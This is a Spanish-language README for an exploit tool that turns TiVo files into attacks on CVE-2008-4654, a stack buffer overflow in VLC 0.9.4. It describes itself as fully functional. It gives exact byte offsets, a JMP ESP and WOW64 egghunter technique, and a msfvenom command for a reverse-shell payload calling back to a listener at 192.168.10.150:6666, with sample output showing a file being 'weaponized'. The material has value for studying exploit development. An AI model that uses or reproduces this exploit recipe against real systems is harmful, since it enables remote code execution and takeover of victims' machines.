CVE-2008-4654

Un exploit totalmente funcional para la vulnerabilidad de desbordamiento de búfer basado en pila CVE-2008-4654 en VLC Media Player 0.9.4 de VideoLan al procesar archivos TiVo. Está dirigido a un binario de 32 bits que se ejecuta en un sistema Windows de 64 bits y utiliza un egghunter WOW64 para evitar las limitaciones de espacio de pila.

Uso

Actualice el script:

• Reemplace el marcador de posición buf = b'[...]' en el script con su propio shellcode (por ejemplo, de msfvenom).
• Opcionalmente, ajuste el shellcode EGG_HUNTER_WOW64 si desea una etiqueta diferente o tiene un egghunter personalizado.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Transform a given TiVo file into a weapon with predefined shellcode.

options:
  -h, --help       show this help message and exit
  --input INPUT    Path to the input TiVo file to be weaponized.
  --output OUTPUT  Path where the modified (weaponized) TiVo file will be saved.

Cómo Funciona

• El script busca un patrón de bytes específico (TIVO_PES_FILEID) en el archivo TiVo.
• Sobrescribe un campo de 4 bytes (20 bytes después del patrón) con b"\x00\x00\x00\xff", lo que prepara la lectura fuera de los límites que conduce al desbordamiento de pila.
• Luego reemplaza otra región (92 bytes después de TIVO_PES_FILEID) con un payload personalizado.
• El payload incluye:
  • Una dirección JMP ESP que dirige la ejecución a la pila.
  • Un egghunter específico de WOW64 que escanea la memoria en busca del marcador w00tw00t.
  • Un payload de shellcode grande definido por el usuario (la segunda etapa) colocado después del marcador, más allá del limitado espacio de pila.
• Cuando VLC procesa el archivo TiVo modificado, finalmente desencadena el desbordamiento y ejecuta el egghunter. El egghunter encuentra el shellcode completo y lo ejecuta, evitando las limitaciones de tamaño de la pila.

Ejemplo

Generación del Payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

Creación del Archivo TiVo

• Reemplace el marcador de posición buf = b'[...]' con el shellcode creado anteriormente.
• Descargue un archivo TiVo de muestra desde https://samples.mplayerhq.hu/TiVo/.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

Notas

• El exploit solo funciona en Windows x64 debido al egghunter WOW64. Un enfoque puramente x86 requeriría un egghunter estándar adecuado para sistemas de 32 bits.
• No hay caracteres malos importantes además de \x00 para este vector específico, lo que simplifica la generación del payload.
• Para un análisis más profundo sobre egghunting y las complejidades de WOW64, consulte el artículo sobre el egghunter WOW64 de Corelan y el documento de Matt (Skape) Miller.

Recursos

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/